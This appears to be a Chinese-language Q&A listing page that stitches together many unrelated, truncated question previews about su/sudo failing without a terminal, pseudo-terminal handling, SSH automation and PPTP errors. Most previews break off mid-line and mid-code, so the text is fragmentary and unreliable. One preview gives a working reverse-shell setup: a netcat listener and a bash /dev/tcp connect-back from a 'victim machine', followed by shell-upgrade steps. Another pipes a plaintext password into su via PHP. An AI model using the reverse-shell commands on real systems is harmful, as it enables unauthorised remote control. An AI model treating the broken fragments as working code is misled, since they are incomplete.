我正在尝试使用test user连接到linux服务器,并执行命令sudo su - oracle whoami。但是不能正确地执行。有人能帮我解决这个问题吗?
我的代码如下
import paramiko as pk
import socket as sk
import os
from datetime import datetime as dt
class Master:
client = None
error = None
host = None
user = None
passwd = No
def __init__(self, addres
我的ubuntu服务器是用ssh key登录的服务器,用户是ubuntu。
tomcat用户是tomcat,密码是tomcat。
我想启动tomcat by Fabric。我的方法是这样的,登录用户是ubuntu,并且想要通过su连接到用户tomcat;但是我有一个错误su: must be run from a terminal
如果我删除pty=False
它将运行startup.sh,但将在fabric完成后关闭。
suuser(user='tomcat',pwd='tomcat',command= '/data/tomcat/%s/bin/sta
我试着用PHP函数运行su命令。一开始我试过:
<?php
echo(shell_exec('echo \'password\' | su user -c \'whoami\' 2>&1;'));
?>
我得到了:
su: must be run from a terminal
然后,我阅读了有关使用python的pty生成终端的文章,并将其放入shell代码中:
<?php
echo(shell_exec('echo "if [ -t 1 ] ; then echo "terminal f
我有一个perl脚本:
#!/usr/bin/perl -w
use DateTime;
use Expect;
use IO::Pty;
use CGI::Fast;
while($q = new CGI::Fast){
my $ip = $q->param('ip');
my $folder = $q->param('folder');
my $username = $q->param('username');
my $password = $q->param('passw
在我安装了Raspbian的Raspberry Pi 4 8 8GB上的PyCharm中,PyCharm有这个错误: Cannot open Local Terminal
Failed to start [/bin/bash, --rcfile, /opt/pycharm-community-2019.3.5/plugins/terminal/jediterm-bash.in, -i] in /home/pi/CodingProjects/Julia
See your idea.log (Help | Show Log in File Manager) for the details.
我有一对linux程序,它们使用伪终端/dev/pts/*相互通信。可以在其上进行通信的pty作为命令行参数传递给这些程序。
我可以使用socat创建一对pty设备,如下所示:
socat -d -d pty,raw,echo=0 pty,raw,echo=0
上述产出如下:
2018/07/05 17:56:54 socat[58319] N PTY is /dev/pts/1
2018/07/05 17:56:54 socat[58319] N PTY is /dev/pts/3
2018/07/05 17:56:54 socat[58319] N starting data transf
我需要运行以下命令:
sed -i 's/^/command="\/bin\/false",no-agent-forwarding,no-pty,no-X11-forwarding, /' ~/.ssh/authorized_keys
在sudo su user -c内部
我想我花了大约3个小时阅读引文指南,类似的例子,和bash中的测试,我仍然找不到有效的方法:
这是我的历史,如果你想嘲笑我的不幸,http://pastebin.com/K6YMm9mp
我正在尝试使用下面的perl代码来ssh到linux机器中,并拉取ls -l的输出,但它似乎不起作用。我做错了什么?
#!/usr/bin/perl
use warnings;
use strict;
use Net::Telnet;
use IO::Pty;
use POSIX 'setsid';
use Getopt::Long;
use constant PROMPT => '/[a-z#>]/';
my $host = "192.168.1.121";
my $user = "root";
my $s
我正在开发一个伪终端库。该代码是用C代码实现的,并且该代码由基于web的终端使用。只要我不使用sudo或login,代码就可以工作。
这是我在Mac上运行服务器时得到的错误:
sh-3.2$ sudo ls
Password:
[1]+ Stopped(SIGTTOU)
sh-3.2$
上面的代码在Linux上运行:
$ sudo ls
readme.txt
但是,我在Linux上使用sudo bash得到了以下内容:
$ sudo bash
bash: cannot set terminal process group (-1): Inappropriate ioctl for dev
我正在编写一些代码,它接受一个文件,将该文件传递给几个二进制文件中的一个进行处理,并监视转换过程中的错误。我已经在OSX上编写并测试了以下例程,但linux失败的原因我不清楚。
#run the command, capture the output so it doesn't display
PTY.spawn(command) {|r,w,pid|
until r.eof? do
##mark
puts r.readline
end
}
运行的命令变化很大,##mark中的代码已简化为本地回显,以尝试调试该问题。命令执行后,脚本在终端中打印预
我有个老问题。当我想通过分接头适配器或pptp连接连接pptp时,断开连接,并在消息日志中获取以下错误:
linux pptpd[20275]: GRE: read(fd=7,buffer=60a400,len=8260) from network failed: status = -1 error = Message too long
linux pptpd[20275]: CTRL: GRE read or PTY write failed (gre,pty)=(7,6)
linux pppd[20276]: Modem hangup
linux pppd[20276]: Connect
我正在尝试编写一个框架,它能够与多台linux机器纠缠在一起。
例如,我将要使用该框架的测试用例可以在linux机器中启动服务器,在另一台linux机器上启动客户机,然后可以在不同的linux机器上进行一些配置更改,而无需等待任何命令的完成。
我试着用pexpect来做我的工作,但没有发现它更有用。
有人能建议我使用哪些Python模块来完成我的任务吗?
我的测试用例步骤如下:
1. Login to SIP Server -> su -> start SIP server
2. Login to Voice Server -> su -> make some conf
我成功地得到了一个反向外壳:
nc -lnvp 8000 # in Kali
/bin/bash -i >& /dev/tcp/192.168.6.1/8000 0>&1 # in the victim machine
我试着升级它,以标准的方式:
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo
fg
export TERM=xterm
但是,在运行stty raw -echo并使用fg将反向shell带回前台后,反向shell不能正常工作。
我正在用Ruby on Rails编写一些软件,以便对登录到我们的服务器进行一些简单的用户管理。我正在为用户控制器的方法工作,将允许用户更改他们的密码在服务器上(FTP /网站登录)密码。我希望服务器密码的管理是通过网站完成的,为此,我提出了以下算法。
- User logs into website, and indicates a change of password is desired using
current login password, and enters new password (with confirmation)
- Rails user.rb model fil